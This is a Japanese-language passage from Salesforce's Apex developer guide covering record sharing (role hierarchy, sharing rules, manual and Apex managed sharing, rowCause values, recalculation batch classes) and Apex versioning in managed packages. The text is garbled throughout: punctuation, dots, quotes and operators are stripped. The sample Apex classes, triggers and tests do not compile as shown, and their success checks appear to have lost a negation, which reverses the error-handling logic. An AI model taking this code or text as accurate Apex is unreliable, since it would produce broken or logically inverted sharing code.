ロール階層ロール階層によりその階層内の別のユーザよりも上位のユーザが下位ユーザの所有レコードまたは下位ユーザに共有されておりレコードに対して同じレベルのアクセス権を持つことができますそのためロール階層内のレコード所有者より上位のユーザにもそのレコードに対するフルアクセスが暗黙的に付与されますただしカスタムオブジェクトでは設定によりこの動作が無効になる場合がありますロール階層は共有レコードとして維持されるのではなくロール階層アクセス権が実行時に取得されます詳細はSalesforcecom オンラインヘルプの「階層を使用したアクセス権の制御」を参照してください

共有ルール共有ルールはシステム管理者が特定のユーザグループが所有するレコードへのアクセス権を特定のグループまたはロール内のユーザに自動的に付与する場合に使用します共有ルールはForcecomAppExchange からインストールしたアプリケーションのパッケージに追加したり共有ロジックをサポートする目的で使用したりすることはできません

Forcecomによる共有管理によって追加されたすべての暗黙的共有をSalesforcecomユーザインターフェースForcecom Web サービス APIまたは Apex を使用して直接変更することはできません

ユーザによる共有管理 (共有の直接設定)

ユーザによる共有管理によりレコードの所有者やレコードに対するフルアクセスを持つユーザはユーザまたはユーザグループとレコードを共有できます一般にこの処理はエンドユーザが単一レコードに対して実行しますレコードの所有者とロール階層内でその所有者の上位にあるユーザにのみレコードに対するフルアクセスが付与されます他のユーザにフルアクセスを付与することはできません特定のオブジェクトに対するオブジェクトレベルの「すべての編集」権限を持つユーザはレコードを手動で共有することもできますレコードの所有者が変わったり共有で付与されたアクセス権がオブジェクトの組織の共有デフォルトアクセスレベルより低くなった場合にユーザによる共有管理が削除されます

Apex による共有管理Apex による共有管理により開発者はアプリケーションの特定の共有要件を Apex を使用したプログラムでサポートできるようになりますこの共有タイプはForcecom による共有管理と似ていますがアプリケーション開発者のみが Apex を使用してこの共有を管理します「すべてのデータの編集」権限を持つユーザのみがレコードへの Apex による共有管理を追加または変更できますApex による共有管理はレコード所有者が変更しても維持されます

メモ Apex による共有管理はカスタムオブジェクトでのみ有効です

共有の理由項目

Salesforcecomユーザインターフェースにおけるカスタムオブジェクトの Reason項目はレコードで使用される共有の型を指定しますこの項目はApex または Forcecom API では rowCauseとなります

次のリスト項目のそれぞれはレコードに使用される共有の種類です[理由]項目値の下のテーブルおよび関連する rowCause値です

bull Forcecom による共有管理

Apex の一括処理 Version 180 | 共有の理解 | 154

rowCause値 (Apex または Forcecom API で使用)Reason Field値

ImplicitChild取引先の共有ImplicitParent関連するレコードの所有者または共有

所有者所有者

Team営業チームRule共有ルールTerritoryRuleテリトリー割り当てルール

bull ユーザによる共有管理

rowCause値 (Apex または Forcecom API で使用)Reason Field値

Manual共有の直接設定TerritoryManualテリトリー直接設定

bull Apex による共有管理

rowCause値 (Apex または Forcecom API で使用)Reason Field値

開発者による定義開発者による定義

Apex による共有管理の表示理由は開発者が定義します

アクセスレベル

レコードへのユーザのアクセス権を決定する際アクセスの最も権限の高いレベルを使用しますほとんどの共有オブジェクトは次のアクセス権をサポートしています

説明API 名アクセスレベル

レコードの所有者とロール階層内でその所有者の上位にあるユーザにのみレコードを参照または編集できますこのアクセスレベルは AccountShare オブジェクトにのみ適用されます

None非公開

指定されたユーザまたはグループがレコードを参照のみを実行できます

Read参照のみ

指定されたユーザまたはグループがレコードを参照および編集できます

Edit参照更新

Apex の一括処理 Version 180 | 共有の理解 | 155

説明API 名アクセスレベル

指定されたユーザまたはグループがレコードを参照編集移行共有削除できます

Allフルアクセス

メモ このアクセスレベルはForcecom 共有管理でのみ付与できます

Apex を使用したレコードの共有プログラムから共有にアクセスするには共有したい標準オブジェクトまたはカスタムオブジェクトに関連付けられている共有オブジェクトを使用する必要がありますたとえばAccountShare は Account オブジェクトの共有オブジェクトContactShare は Contact オブジェクトの共有オブジェクトとなります他のオブジェクトについても同様ですさらにすべてのカスタムオブジェクトの共有オブジェクトには次のように名前が付けられていますMyCustomObjectはカスタムオブジェクトの名前ですMyCustomObject__Share

主従関係の従側にあるオブジェクトには関連付けられた共有オブジェクトはありません従レコードへのアクセスは主の共有オブジェクトと関係の共有設定により定義されます詳細はSalesforcecomオンラインヘルプの「カスタム オブジェクトのセキュリティ」を参照してください

共有オブジェクトにはForcecom 共有管理ユーザ共有管理Apex 共有管理の 3 種類の共有すべてをサポートするレコードが含まれています組織のデフォルトロール階層「すべてのデータの表示」や「すべてのデータの編集」などのプロファイル権限により暗黙的にユーザに付与された共有はこのオブジェクトでは追跡されません

各共有オブジェクトには次のプロパティがあります

説明プロパティ名

共有 sObject に対し指定されたユーザまたはグループが権限を与えられたアクセスレベルプロパティ名はオブジェクト名に AccessLevelが追加されたものと

objectNameAccessLevel

なりますたとえばLeadShare オブジェクトのプロパティ名はLeadShareAccessLevelとなります有効な値は次のとおりですbull Edit

bull Read

bull All

メモ AllアクセスレベルはForcecom 共有管理でのみ使用できます

この項目にはその親オブジェクトに割り当てられた組織のデフォルトアクセスレベルよりも高いアクセスレベルが割り当てられていなければなりません詳細は「アクセスレベル」 (ページ 155)を参照してください

オブジェクトの IDこの項目は更新できませんParentID

Apex の一括処理 Version 180 | Apex を使用したレコードの共有 | 156

説明プロパティ名

ユーザまたはグループにアクセス権が付与される理由この理由によって共有のタイプが決まります共有のタイプは共有レコードの変更権限を制御しますこの項目は更新できません

RowCause

アクセス権を付与するユーザまたはグループの IDグループにはパブリックグループロールテリトリーを指定できますこの項目は更新できません

UserOrGroupId

詳細は『Forcecom Web Services API』の個別の共有オブジェクトを参照してください

Apex を使用したユーザ共有管理の作成

Apex を使用しユーザまたはグループに対してレコードの共有を直接設定することができますレコード所有者が変更になると共有は自動的に削除されます次にクラスの例を示します

public class JobSharing

static boolean manualShareRead(Id recordId Id userOrGroupId) カスタムオブジェクト Job の新しい共有オブジェクトを作成Job__Share jobShr = new Job__Share()

共有されるレコードの ID を設定jobShrParentId = recordId

アクセス権を付与するユーザまたはグループの ID を設定jobShrUserOrGroupId = userOrGroupId

アクセスレベルを設定jobShrAccessLevel = Read

共有の直接設定の場合rowCause を「manual」に設定 オブジェクト共有のデフォルト値が「manual」であるためこの行は省略できますjobShrRowCause = SchemaJob__ShareRowCauseManual

共有するレコードを挿入しsave result を取得 false パラメータは処理するレコードを複数渡された場合 部分処理を許可しますDatabaseSaveResult sr = Databaseinsert(jobShrfalse)

save result を処理if(srisSuccess()) 成功を表しますreturn true else 最初のsave result エラーを取得DatabaseError err = srgetErrors()[0]

エラーが 3 つのアクセスレベルに関連しているかどうかを確認 オブジェクトのデフォルト値と同等かより権限の大きいアクセスレベルは 許可されません これらの共有レコードは不要であるため挿入例外が許可されますif(errgetStatusCode() == StatusCodeFIELD_INTEGRITY_EXCEPTION ampamperrgetMessage()contains(AccessLevel)) 成功を表しますreturn true else 失敗を表しますreturn false

manualShareRead メソッドのテストstatic testMethod void testManualShareRead() テストのためのユーザを選択ListltUsergt users = [select id from user where isActive = true limit 2] Iduser1Id = users[0]Id Id user2Id = users[1]Id

新規ジョブの作成Job__c j = new Job__c() jName = Test Job jOwnerId = user1Id insertj

レコード所有者ではないユーザに共有の直接設定を挿入SystemassertEquals(manualShareRead(jIduser2Id) true)

ジョブ共有レコードのクエリを実行ListltJob__Sharegt jShrs = [select id userOrGroupIdaccessLevel rowCause from job__share where parentId = jId and userOrGroupId= user2Id]

ジョブに対する 1 つの共有の直接設定をテストSystemassertEquals(jShrssize() 1 Set the

Apex の一括処理 Version 180 | Apex を使用したレコードの共有 | 157

objects sharing model to Private)

共有の直接設定の属性をテストSystemassertEquals(jShrs[0]accessLevel Read)SystemassertEquals(jShrs[0]rowCause Manual) SystemassertEquals(jShrs[0]userOrGroupIduser2Id)

不正なジョブ ID をテストdelete j

削除されたジョブ ID に対する共有の直接設定を挿入SystemassertEquals(manualShareRead(jIduser2Id) false)

重要 組織のデフォルトアクセスレベルは最も権限の大きいアクセスレベルに設定することはできませんカスタムオブジェクトの場合は Public ReadWrite となります詳細は「アクセスレベル」 (ページ155)を参照してください

Apex による共有管理の作成

Apex による共有管理を使用し開発者はアプリケーションの動作をサポートする共有をプログラムで操作できるようになりますこの共有タイプはForcecom による共有管理と似ていますがアプリケーション開発者のみが Apex を使用してこの共有を管理します「すべてのデータの編集」権限を持つユーザのみがレコードへの Apex による共有管理を追加または変更できますApex による共有管理はレコード所有者が変更しても維持されます

メモ Apex による共有管理はカスタムオブジェクトでのみ有効です

Apex による共有管理にはApex 共有の理由を使用する必要がありますApex 共有の理由は開発者がユーザやユーザグループに対してレコードを共有した理由を追跡するための 1 つの方法です複数の Apex 共有理由を使用することで共有レコードの更新や削除に必要なコーディングを簡略化することができますまた開発者は別の理由を使用して同じユーザやグループに何度も共有することができるようになります

Apex 共有の理由はオブジェクトの詳細ページとして定義されますApex 共有の理由にはそれぞれラベルと名前が付けられます

bull ユーザインターフェースでレコードの共有を参照すると[理由]列に表示ラベルが表示されますこれによりユーザとシステム管理者が共有の目的を理解できます表示ラベルはトランスレーションワークベンチ使用した翻訳でも有効化されます

bull この名前はAPI および Apex で理由を参照するときに使用します

Apex 共有の理由名の形式は次のとおりです

MyReasonName__c

Apex 共有の理由は次のようにプログラムから参照できます

SchemaCustomObject__SharerowCauseSharingReason__c

たとえばJob というオブジェクトの Apex 共有の理由である Recruiter は次のように参照できます

SchemaJob__SharerowCauseRequester__c

Apex の一括処理 Version 180 | Apex を使用したレコードの共有 | 158

詳細は「スキーマメソッド」 (ページ 238)を参照してください

Apex 共有の理由を作成する手順は次のとおりです

1 [設定] [作成] [オブジェクト] をクリックします2 カスタムオブジェクトを選択します3 [Apex 共有の理由] 関連リストで [新規] をクリックします4 Apex 共有の理由の表示ラベルを入力しますユーザインターフェースでレコードの共有を参照すると[理

由]列に表示ラベルが表示されます表示ラベルはトランスレーションワークベンチ使用した翻訳でも有効化されます

5 Apex 共有の理由の名前を入力しますこの名前はForcecom API および Apex で理由を参照するときに使用しますこの名前はアンダースコアと英数字のみを含み組織内で一意の名前にする必要があります最初は文字であることスペースは使用しない最後にアンダースコアを使用しない2 つ続けてアンダースコアを使用しないという制約があります

6 [保存] をクリックします

Apex による共有管理例

次の例では人事採用アプリケーションの構築中でJob というカスタムオブジェクトが存在すると仮定していますこのジョブにリストされた採用担当者および採用担当マネージャにレコード所有者とほぼ同様にレコードへのフルアクセス権を付与したいと考えています次のトリガはジョブ作成時に採用担当者および採用担当マネージャにアクセス権を付与します

trigger JobApexSharing on Job__c (after insert)

if(triggerisInsert) Job に共有オブジェクトの新しいリストを作成ListltJob__Sharegt jobShrs =new ListltJob__Sharegt()

採用担当者および採用担当マネージャの共有のための変数を宣言Job__Share recruiterShr Job__SharehmShr

for(Job__c job triggernew) 新規共有オブジェクトのインスタンス化recruiterShr = newJob__Share() hmShr = new Job__Share()

共有されるレコードの ID を設定recruiterShrParentId = jobId hmShrParentId = jobId

アクセス権を付与するユーザまたはグループの ID を設定recruiterShrUserOrGroupId =jobRecruiter__c hmShrUserOrGroupId = jobHiring_Manager__c

アクセスレベルを設定recruiterShrAccessLevel = edit hmShrAccessLevel = read

採用担当者と採用担当マネージャの Apex 共有の理由を設定recruiterShrRowCause =SchemaJob__ShareRowCauseRecruiter__c hmShrRowCause =SchemaJob__ShareRowCauseHiring_Manager__c

挿入するためにリストにオブジェクトを追加jobShrsadd(recruiterShr) jobShrsadd(hmShr)

共有レコードを挿入しsave result を取得 処理するレコードを複数渡された場合 部分処理を許可しますDatabaseSaveResult[] lsr = Databaseinsert(jobShrsfalse)

カウンタを作成Integer i=0

save results を処理for(DatabaseSaveResult sr lsr) if(srisSuccess()) 最初の saveresult エラーを取得error DatabaseError err = srgetErrors()[0]

エラーが 3 つのアクセスレベルに関連しているかどうかを確認 オブジェクトのデフォルト値と同等かより

Apex の一括処理 Version 180 | Apex を使用したレコードの共有 | 159

権限の大きいアクセスレベルは 許可されません これらの共有レコードは不要であるため 挿入例外が許可されますif((errgetStatusCode() == StatusCodeFIELD_INTEGRITY_EXCEPTION ampamperrgetMessage()contains(AccessLevel))) エラーが 3 つのアクセスレベルに関連していない場合エラーを発生triggernewMapget(jobShrs[i]ParentId) addError(Unable to grant sharing accessdue to following exception + errgetMessage()) i++

重要 組織のデフォルトアクセスレベルは最も権限の大きいアクセスレベルに設定することはできませんカスタムオブジェクトの場合は Public ReadWrite となります詳細は「アクセスレベル」 (ページ155)を参照してください

Apex による共有管理の再適用組織のデフォルトアクセスレベルが変更されるとSalesforcecomはオブジェクトの全レコードの共有を自動的に再適用します再適用により適切な場合は Forcecom 共有管理が追加されますまた付与されたアクセス権が冗長である場合はすべての共有タイプが削除されますたとえばオブジェクトの共有モデルが「非公開」から「公開参照のみ」に変更されるとユーザに「参照のみ」アクセス権を付与する共有の直接設定が削除されます

Apex 共有管理を再適用するにはSalesforcecom が提供する再適用を行うインターフェースを実装するApex クラスを記述する必要がありますその後Apex 共有管理の再適用リストのカスタムオブジェクトの詳細ページにおいてクラスとカスタムオブジェクトを関連付ける必要があります

メモ Apex 共有管理の再適用は現在限定リリースプログラムで使用できます組織での Apex 共有管理の再適用の詳細についてはsalesforcecom までお問い合わせください

その後Apex共有の理由を指定するカスタムオブジェクト詳細ページからこのクラスを実行しますアプリケーションのロジックに定義されたユーザへのアクセス権限の付与においてオブジェクトへのロックにより Apexスクリプトが実行されない場合管理者はそのオブジェクトの Apex 共有管理を再適用しなければならないことがありますDatabaseexecuteBatchメソッドをApex共有管理の再適用をプログラムに基づいて開始することもできます

メモ カスタムオブジェクトの組織のデフォルト共有アクセスレベルが更新される度にそのカスタムオブジェクトに関連付けられた Apex 最適用クラスもまた実行されます

Apexの再適用の実行を監視または停止するには[設定] [監視] [Apex] [ジョブ]をクリックします詳細はSalesforcecom オンラインヘルプの「Apex ジョブキュー」を参照してください

共有の再適用のための Apex クラスの作成

Apex 共有管理を再適用するには再適用を行う Apex クラスを記述する必要がありますこのクラスはSalesforcecom が提供する DatabaseBatchableインターフェースを実装している必要があります

DatabaseBatchableインターフェースはApex共有管理の再適用などすべてのApexの一括処理プロセスに使用されますこのインターフェースは組織で複数回実装できます実装しなければならないメソッドの詳細は「Apex の一括処理の使用 (ページ 146)」を参照してください

Apex 共有管理の再適用を作成する前にベストプラクティスについても検討してください

Apex の一括処理 Version 180 | Apex による共有管理の再適用 | 160

Apex による共有管理の再適用例

この例では人事採用アプリケーションの構築中でJob というオブジェクトが存在すると仮定していますジョブにリストされた採用担当者および採用担当マネージャにレコードへのアクセス権が付与されていることを確認したいと考えています次の Apex クラスがその確認を行います

global class JobSharingRecalc implements DatabaseBatchableltsObjectgt

start メソッドは共有の再適用の最初にコールされます このメソッドは再適用する必要のあるレコードを含む SOQL クエリロケータを返します このメソッドは global でなければなりませんglobalDatabaseQueryLocator start(DatabaseBatchableContext BC) returnDatabasegetQueryLocator([SELECT Id Hiring_Manager__c Recruiter__c FROM Job__c])

executeBatch メソッドはstart から返されたレコードのチャンクによって実行されます このメソッドはglobal でなければなりません global void execute(DatabaseBatchableContext ListltsObjectgtscope) メソッドに渡されたレコードの塊のマップを作成しますMapltID Job__cgt jobMap = new MapltIDJob__cgt((ListltJob__cgt)scope)

挿入する Job__Share オブジェクトのリストを作成ListltJob__Sharegt newJobShrs = newListltJob__Sharegt()

Job レコードのすべての既存の共有レコードをバッチから検索 このアプリケーションの Apex 共有の理由を使用しているレコードのみが返されますListltJob__Sharegt oldJobShrs = [select id from Job__Sharewhere Id In jobMapkeySet() and (rowCause = SchemaJob__SharerowCauseRecruiter__c orrowCause = SchemaJob__SharerowCauseHiring_Manager__c)]

各 Job レコードに対し採用担当者と採用担当マネージャの新しい共有レコードを 作成for(Job__c job jobMapvalues()) Job__Share jobHMShr = new Job__Share() Job__Share jobRecShr = newJob__Share()

Job のアクセス権を付与するユーザ (採用担当マネージャ) の ID を設定jobHMShrUserOrGroupId =jobHiring_Manager__c

ジョブの採用担当マネージャには常に「参照のみ」アクセス権が付与されていなければなりませんjobHMShrAccessLevel = Read

共有されるレコードの IDjobHMShrParentId = jobId

採用担当マネージャの Apex 共有の利用に rowCause を設定 これにより共有レコードを Apex 共有管理として確立しますjobHMShrRowCause = SchemaJob__ShareRowCauseHiring_Manager__c

挿入するために共有レコードをリストに追加newJobShrsadd(jobHMShr)

Job のアクセス権を付与するユーザ (採用担当者) の ID を設定jobRecShrUserOrGroupId =jobRecruiter__c

ジョブの採用担当マネージャには常に「参照更新」アクセス権が付与されていなければなりませんjobRecShrAccessLevel = Edit

共有されるレコードの IDjobRecShrParentId = jobId

採用担当者の Apex 共有の利用に rowCause を設定 これにより共有レコードを Apex 共有管理として確立しますjobRecShrRowCause = SchemaJob__ShareRowCauseRecruiter__c

挿入するために共有レコードをリストに追加newJobShrsadd(jobRecShr)

try 既存の共有レコードを削除 これにより新しい共有レコードを最初から記述できますDeleteoldJobShrs

新しい共有レコードを挿入しsave result を取得 false パラメータは処理するレコードを複数渡された

Apex の一括処理 Version 180 | Apex による共有管理の再適用 | 161

場合 部分処理を許可しますDatabaseSaveResult[] lsr = Databaseinsert(newJobShrsfalse)

save results を挿入のために処理for(DatabaseSaveResult sr lsr) if(srisSuccess()) 最初の save result エラーを取得DatabaseError err = srgetErrors()[0]

エラーが明白なアクセスレベルに関連しているかどうかを確認 オブジェクトのデフォルト値と同等かより権限の大きいアクセスレベルは 許可されません これらの共有レコードは不要であるため 挿入例外が許可されますif((errgetStatusCode() == StatusCodeFIELD_INTEGRITY_EXCEPTION ampamperrgetMessage()contains(AccessLevel))) エラーは明白なアクセスレベルとは無関係です Apexジョブの送信者に電子メールを送信MessagingSingleEmailMessage mail = newMessagingSingleEmailMessage() String[] toAddresses = new String[] adminyourcompanycommailsetToAddresses(toAddresses) mailsetSubject(Apex Sharing Recalculation Exception)mailsetPlainTextBody (The Apex sharing recalculation threw the following exception +errgetMessage()) MessagingsendEmail(new MessagingSingleEmailMessage[] mail ) catch(DmlException e) 処理が失敗した場合はApex ジョブの送信者に電子メールを送信MessagingSingleEmailMessage mail = new MessagingSingleEmailMessage() String[] toAddresses= new String[] adminyourcompanycom mailsetToAddresses(toAddresses)mailsetSubject(Apex Sharing Recalculation Exception) mailsetPlainTextBody (The Apexsharing recalculation threw the following exception + egetMessage())MessagingsendEmail(new MessagingSingleEmailMessage[] mail )

finish メソッドは共有の再適用の最後にコールされます このメソッドは global でなければなりませんglobal void finish(DatbaseBatchableContext BC) Apex ジョブの送信者にジョブが完了したこと

を通知する電子メールを送信MessagingSingleEmailMessage mail = new MessagingSingleEmailMessage()String[] toAddresses = new String[] adminyourcompanycommailsetToAddresses(toAddresses) mailsetSubject(Apex Sharing Recalculation Completed)mailsetPlainTextBody (The Apex sharing recalculation finished processing)MessagingsendEmail(new MessagingSingleEmailMessage[] mail )

Apex による共有管理の再適用のテスト

DatabaseBatchableインターフェースを実装する Apex をテストするにはインターフェースにより実装された各メソッドを個別にコールし共有の再適用のシミュレーションを実行しなければなりません

DatabaseBatchableインターフェースを実装するクラスがメソッドに渡されるDatabaseBatchInput引数で getAsyncApexJobIdメソッドを使用している場合テストメソッド setupAsyncApexJobを使用したテストで使用するために AsyncApexJob レコードを準備する必要があります詳細は「テストメソッド」 (ページ 293)を参照してください

startから返された QueryLocator オブジェクトをテストするにはDatabaseQueryLocator の getQueryメソッドを使用する必要があります詳細は「データベースのApexの一括処理オブジェクトとメソッド」 (ページ273)を参照してください

下記の例では前の項のクラスでテストを行いテストメソッド setupAsyncApexJobの使い方について説明しますまたstartから返された QueryLocator オブジェクトのテスト方法も示します

public class JobSharingTester

JobSharingRecalc クラスのテストstatic testMethod void testApexSharing() DatabaseBatchable インターフェースを実装するクラスをインスタンス化JobSharingRecalc recalc = newJobSharingRecalc()

AsyncApexJob オブジェクトの準備に必要な変数を宣言Integer totalItems Integer itemsProcessedInteger errs

テストで使用する新規 Job を作成 少なくとも 1 つの Job が存在していなければなりませんJob__c j= new Job__c() jName = Test Job jRecruiter__c = UserInfogetUserId()

Apex の一括処理 Version 180 | Apex による共有管理の再適用 | 162

jHiring_Manager__c = UserInfogetUserId() insert j

TeststartTest()

バッチ処理可能なクラスから start メソッドをコールDatabaseQueryLocator ql = recalcstart()

バッチ処理可能なクラスからの start メソッドのコールで 正しいクエリロケータが返されることをテストクエリの結果を文字列で表したものを取得するには QueryLocatorgetQuery メソッドを使用する 必要がありますSystemassertEquals(qlgetQuery() SELECT Id Hiring_Manager__c Recruiter__c fromJob__c)

バッチ処理可能なクラスから executeBatch メソッドをコールするための変数を設定 バッチ処理全体に含まれるチャンク数excution totalItems = 1 バッチ処理全体で処理されたチャンク数itemsProcessed =0 バッチ処理全体のエラー数チャンク 1 個あたりのエラーは 1 つerrs = 0

クエリロケータのチャンクの start メソッドから返される クエリのレコード 返されるレコードの最大数は 200 レコードMapltID Job__cgt jobMap = new MapltID JOB__cgt( [SELECT Id Hiring_Manager__cRecruiter__c FROM Job__c limit 200])

バッチ可能なクラスから execute メソッドをコールrecalcexecute(jobMapvalues())

クエリジョブは executeBatch メソッドの引数として渡されます クエリはexecute メソッドで挿入されたジョブと関連する共有レコードを 返しますListltJob__cgt jobs = [SELECT Id Hiring_Manager__cRecruiter__c (Select Id ParentId UserOrGroupId AccessLevel RowCause FROM Shares where(rowCause = SchemaJob__SharerowCauseRecruiter__c or rowCause =SchemaJob__SharerowCauseHiring_Manager__c)) from Job__c WHERE Id In jobMapkeySet()]

ジョブに Apex 共有管理が存在することを確認for(Job__c job jobs) 各ジョブには最大 2 つのApex 共有管理レコードが存在しますSystemassert(jobSharessize() lt= 2)

for(Job__Share jobShr jobShares) Job に対し採用担当マネージャの共有レコードをテストif(jobShrRowCause == SchemaJob__ShareRowCauseHiring_Manager__c)SystemassertEquals(jobShrUserOrGroupIdjobHiring_Manager__c)SystemassertEquals(jobShrAccessLevelRead) Job に対し採用担当者の共有レコードをテストelse if(jobShrRowCause == SchemaJob__ShareRowCauseRecruiter__c)SystemassertEquals(jobShrUserOrGroupIdjobRecruiter__c)SystemassertEquals(jobShrAccessLevelEdit)

バッチ処理可能なクラスから finish メソッドをコールするための変数を設定 バッチ処理全体に含まれるチャンク数excution totalItems = 1 バッチ処理全体で処理されたチャンク数itemsProcessed = 1 バッチ処理全体のエラー数チャンク 1 個あたりのエラーは 1 つerrs = 0

バッチ可能なクラスから finish メソッドをコールrecalcfinish()

TeststopTest()

再適用に使用される Apex クラスの関連付け

再適用に使用される Apex クラスはカスタムオブジェクトと関連付けられていなければなりません

Apex による共有管理の再適用クラスをカスタムオブジェクトと関連付ける手順は次のとおりです

1 [設定] [作成] [オブジェクト] をクリックします2 カスタムオブジェクトを選択します3 [Apex 共有の再適用] 関連リストで [新規] をクリックします

Apex の一括処理 Version 180 | Apex による共有管理の再適用 | 163

4 このオブジェクトの Apex 共有を再適用する Apex クラスを選択します選択するクラスはDatabaseBatchableインターフェースを実装している必要があります同じApexクラスを同じカスタムオブジェクトと複数関連付けることはできません

5 [保存] をクリックします

Apex の一括処理 Version 180 | Apex による共有管理の再適用 | 164

第 9 章

管理パッケージでの Apex の開発

パッケージとは個々のコンポーネントなどの小さいものや関連アプリケーションのセットなどの大きいものを格納するコンテナですパッ

トピック

bull パッケージバージョン ケージの作成後他のSalesforcecomユーザおよび組織 (社外のユーザbull Apex の廃止 組織も含む) にそのパッケージを配布できます組織は他の多くの組

織でダウンロードおよびインストールできる単一の管理パッケージを作bull パッケージバージョンの動作成できます管理パッケージは未管理パッケージとは異なりコンポーネントの一部がロックされていて後でアップグレードできます未管理パッケージにはロックされたコンポーネントは含まれておらずアップグレードはできません

ここでは管理パッケージの Apex の開発に関連する次のトピックについて説明します

bull パッケージバージョンbull Apex の廃止bull パッケージバージョンの動作

パッケージバージョン

パッケージでアップロードされる一連のコンポーネント示す番号ですバージョン番号の形式はmajorNumberminorNumberpatchNumber (例 213) となりますメジャー番号およびマイナー番号はメジャーリリースごとに選択された値に増えますpatchNumberはパッチリリース時のみ生成されますpatchNumber

がない場合0 であるものとしますパッチバージョンは現在パイロットプログラムで使用できます組織のパッチバージョンの有効化に関する詳細はsalesforcecomまでお問い合わせください未管理パッケージはアップグレードできないため各パッケージバージョンは単に配布用コンポーネントのセットですパッケージバージョンは管理パッケージでより大きな意味を持ちますパッケージは異なるバージョンで異なる動作をします公開者はパッケージバージョンを使用してパッケージを使用する既存の連携に影響を与えることなく後続のパッケージバージョンをリリースすることにより管理パッケージのコンポーネントを発展させることができます

既存の登録ユーザが新しいパッケージをインストールした場合パッケージ内の各コンポーネントのインスタンスは 1 つだけですがコンポーネントは古いバージョンをエミュレートできますたとえば登録ユーザはApexクラスを含む管理パッケージを使用するとします公開者が Apex クラスのメソッドを廃止し新しいパッケージをリリースする場合でも新しいバージョンをインストールした後登録ユーザは Apex クラスのインスタンスを 1 つだけ使用できますただしこのApexクラスは古いバージョンの廃止されたメソッドを参照するコードの以前のバージョンをエミュレートできます

管理パッケージで Apex を開発する場合次の点に注意してください

bull 管理パッケージは固有の名前空間を持ちますこの名前空間はインストール先の組織において名前の重複を防ぐため自動的にクラスメソッド変数などの前に追加されます

bull 管理パッケージの一部であるApexコードは自動的に隠されインストール先の組織内では見ることができません唯一の例外としてグローバルとして宣言されているメソッドですそのようなメソッドの署名はインストールを行う組織でも参照できます

bull パッケージ管理者はdeprecatedアノテーションを使用して今後のリリースの管理パッケージでは参照できないメソッドクラス例外列挙インタフェース変数を指定することができます管理パッケージのコードをリファクタリングする場合に役立ちます

bull システムメソッドを runAsを使用してパッケージバージョンコンテキストを異なるパッケージバージョンに変更するテストメソッドを作成できます

bull クラスが「管理-リリース済み」パッケージバージョンでアップロードされた後にインストールまたは抽象クラスまたは仮想クラスにメソッドを追加することはできません

bull 明示的に名前空間を参照する非管理パッケージに含まれる Apex スクリプトはアップロードできません

Apex の廃止

パッケージ管理者はdeprecatedアノテーションを使用して今後のリリースの管理パッケージでは参照できないメソッドクラス例外列挙インタフェース変数を指定することができます管理パッケージのコードをリファクタリングする場合に役立ちます別のパッケージを「管理 - リリース済み」でアップロードすると最新のパッケージバージョンをインストールする新しい登録ユーザは非推奨の要素を確認できませんがその要素は既存の登録ユーザおよび API 連携で機能し続けますメソッドまたはクラスなど破棄された項目は最初はパッケージ開発者によって参照できます

管理パッケージでの Apex の開発 Version 180 | パッケージバージョン | 166

メモ 非管理パッケージの Apex クラスまたはトリガの deprecatedアノテーションは使用できません

パッケージ開発者は異なる Salesforcecom 組織のユーザのパイロットユーザによる評価およびフィードバックのために管理-ベータパッケージバージョンを使用できます開発者がApex識別子を廃止しあるバージョンのパッケージを「管理 - ベータ」としてアップロードしてもパッケージバージョンをインストールした登録ユーザはパッケージバージョンの廃止された識別子を参照できますパッケージ開発者がその後「管理-リリース済み」パッケージバージョンをアップロードした場合インストールした後登録ユーザにはパッケージバージョンの廃止された識別子は表示されません

パッケージバージョンの動作

パッケージコンポーネントは異なるパッケージバージョンで異なる動作をします動作のバージョニングにより新しいコンポーネントをパッケージに追加し既存のコンポーネントを調整することができますコードは既存の登録者にもシームレスに機能しますパッケージ開発者が新しいコンポーネントをパッケージに追加し新しいパッケージバージョンをアップロードした場合新しいパッケージバージョンをインストールした登録者は新しいコンポーネントを使用できるようになります

Apex コードの動作のバージョニングApex には特殊構文がありパッケージ開発者はクラスおよびトリガで異なるバージョンに異なる動作をさせる条件付きロジックを使用できますこれによりパッケージ開発者はコードをアップグレードしても以前のパッケージバージョンのクラスおよびトリガの既存の動作を継続してサポートできます

登録者が複数のバージョンのパッケージをインストールしパッケージ内の Apex クラスまたはトリガを参照するコードを記述する場合参照しているバージョンを選択する必要がありますパッケージ内で参照しているApex コード内で参照を作成する呼び出し Apex コードのバージョン設定に基づき異なるコードパスを条件付きで実行できます呼び出しコードのパッケージバージョン設定はPackageVersionRequestオブジェクトを使用してパッケージコード内で決定できますパッケージ開発者はこのオブジェクトおよび付随するメソッドを使用して要求コンテキストを決定しさまざまなバージョンのパッケージの異なる動作を示すことができます

次の例は異なるパッケージバージョンのトリガの動作を示します

trigger oppValidation on Opportunity (before insert before update)

for(Opportunity o Triggernew)

New validation added in package version 15 Applies to all version of the managedpackage except 10 If(PackageVersionRequestisGreaterThan(PackageVersion10))If(oProbability gt= 50 ampamp oDescription == NULL) oaddError(All deals over 50 require adescription)

Validation applies to all versions of the managed package If(oIsWon == true ampampoLeadSource == NULL) oaddError(A lead source must be provided for all Closed Won deals)

パッケージバージョンを処理するメソッドの詳細は「Package メソッド (ページ 284)」を参照してください

管理パッケージでの Apex の開発 Version 180 | パッケージバージョンの動作 | 167

メモ 非管理パッケージではPackageVersionRequestオブジェクトは使用できません

インストールパッケージのあるクラスがパッケージの別のクラスのメソッドを呼び出す場合要求コンテキストは保持されますたとえば登録者は CountryUtil クラスおよび ContinentUtil Apex クラスを含む GeoReports パッケージをインストールしたとします登録者は GeoReportsEx クラスを新規作成しバージョン設定を使用してバージョン 23 の GeoReports パッケージにバインドしますGeoReportsEx が CountryUtil のメソッドを内部的に呼び出す ContinentUtil のメソッドを呼び出すと 要求コンテキストは ContinentUtil から CountryUtil に反映されCountryUtil PackageVersionRequestの変数はバージョン 23 の GeoReports パッケージを参照します

バージョニングされていない Apex コードの項目パッケージバージョンでいくつかのApex項目の動作を変更できますたとえば新しい登録者が後続のバージョンのパッケージを参照できないようメソッドを廃止できます

ただし次のリストの修飾子キーワードアノテーションについてはバージョニングできませんパッケージ開発者が次の修飾子キーワードまたはアノテーションのいずれかを変更すると変更はすべてのパッケージバージョンに反映されます

管理パッケージの Apex コードで使用される場合これらの項目のいくつかに行うことができる変更には制限事項があります

パッケージ開発者は次の項目を追加または削除できます

bull future

bull isTest

bull with sharing

bull without sharing

bull transient

パッケージ開発者は次の項目に制限付きで変更を行うことができます

bull private globalに変更できますbull public globalに変更できますbull protected globalに変更できますbull abstract virtualに変更できますが削除できませんbull final 削除できますが追加はできません

